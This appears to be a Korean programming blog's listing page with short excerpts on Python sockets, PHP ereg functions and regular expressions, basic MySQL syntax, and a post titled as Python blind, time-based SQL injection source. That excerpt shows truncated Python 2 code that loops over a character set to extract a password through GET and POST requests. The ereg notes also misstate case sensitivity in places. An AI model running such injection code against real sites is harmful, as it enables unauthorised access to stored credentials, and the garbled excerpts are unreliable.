Coding343 파이썬 소켓 프로그래밍 Server 클래스 socket(도메인, 유형) : 소켓 객체를 생성한다. bind((host,port)) : 소켓을 host 컴퓨터의 port에 연결시킨다. listen(n) : 연결을 원하는 클라이언트가 대기할 수 있는 큐의 크기이다. 1이상의 값을 가져야하며 최대값은 시스템에 따라 다르나 보통 5이다. accept() : 클라이언트의 연결을 받아들인다. 블로킹모드일때 클라이언트가 연결을 시도할때까지 기다린다. recv(bufsize) : 소켓으로부터 데이터를 읽어온다. 한번에 읽어들이는 최대 데이터의 양은 bufsize에 의해 결정된다. send(string) : 데이터(string)를 소켓에 쓴다. 값은 한 클라이언트로 전달된다. close() : 소켓을 닫는다. Client 클래스 socket(.. 2014. 8. 13. Python Blind,Time Based SQL Injection Source [GET] import httplibimport urllibresult=''length=1string="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_-=+"for i in range(1,100): if(length '+string[j]print 'Password is '+result [POST] import httplibimport urllibresult=""length=1string="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_-=+"for i in range(1,100): if(length=2: result=result+strin.. 2014. 6. 15. PHP실행기 간단한 PHP 실행기입니다. 2014. 5. 29. ereg / eregi / ereg_replace / eregi_replace 함수 1. ereg() 함수 - 문자열중에 찾는값이 있으면 TRUE 를 반환, 아니면 FALSE를 반환 - ereg("찾는값","문자열",array[matches]) 3번째 인자를 사용할 경우에는 값을 찾아낸 문자열을 matches에 저장 2. eregi() 함수 - ereg와 같으나 대소문자를 구별 - eregi("찾는값","문자열",array[matches]) 3. ereg_replace() 함수 - 문자열을 찾는값이 나오면 치환값으로 치환 - ereg_replace("찾는값","치환값","문자열") 4. eregi_replace() 함수 - ereg_replace와 같으나 대소문자를 구분 - eregi_replace("찾는값","치환값","문자열") 2014. 5. 4. PHP 정규표현식 1) eregi 함수 eregi("검사할문자", "검사대상문자열"); - 검사대상문자열에 검사할 문자가 있으면 TRUE(1), 검사대상문자열에 검사할 문자가 없으면 FALSE(null) 가 결과로 나오게 된다 - ereg함수는 대소문자 구별을하며 eregi함수는 대소문자 구별을 하지 않는다 ex) 2) 정규표현식 ^ / $ / . / * / + / ? 연산자 설명 ^ 문자열의 시작을 의미 $ 문자열의 끝을 의미 . 임의의 한 문자 * 바로 앞의 문자가 없거나 하나 이상 + 바로 앞의 문자가 하나이상 ? 바로 앞의 한 문자가 없거나 있음 ex) ^a ==> a로 시작하는 모든 문자열 (a, ab, abc, abcd, ....) a$ ==> a로 끝나는 모든 문자열 (a, ba, cba, ....) a.b .. 2014. 5. 4. 기본적인 MySQL 문법 0. 데이터베이스 조회 - SHOW DATABASES; 1. 데이터베이스 생성 - CREATE DATABASE DB네임; 2. 테이블명 수정 - ALTER TABLE 기존테이블명 RENAME 바꿀테이블명 3. 데이터베이스 삭제 - DROP DATABASE DB네임; 4. 테이블 조회 - SHOW TABLES; 5. 테이블 생성 - CREATE TABLE 테이블명( 컬럼명 TYPE NULL/NOT NULL 컬럼명 TYPE, 컬럼명 TYPE) 6. 테이블 삭제 - DELETE FROM 테이블명 (WHERE 조건) - DROP TABLE 테이블명 7. 컬럼추가 - ALTER TABLE 테이블명 ADD 컬럼명 TYPE NOT NULL DEFAULT '기본값'; 8. 컬럼에 내용삽입 - INSERT INTO 테이.. 2014. 5. 2. 이전 1 ··· 54 55 56 57 58 다음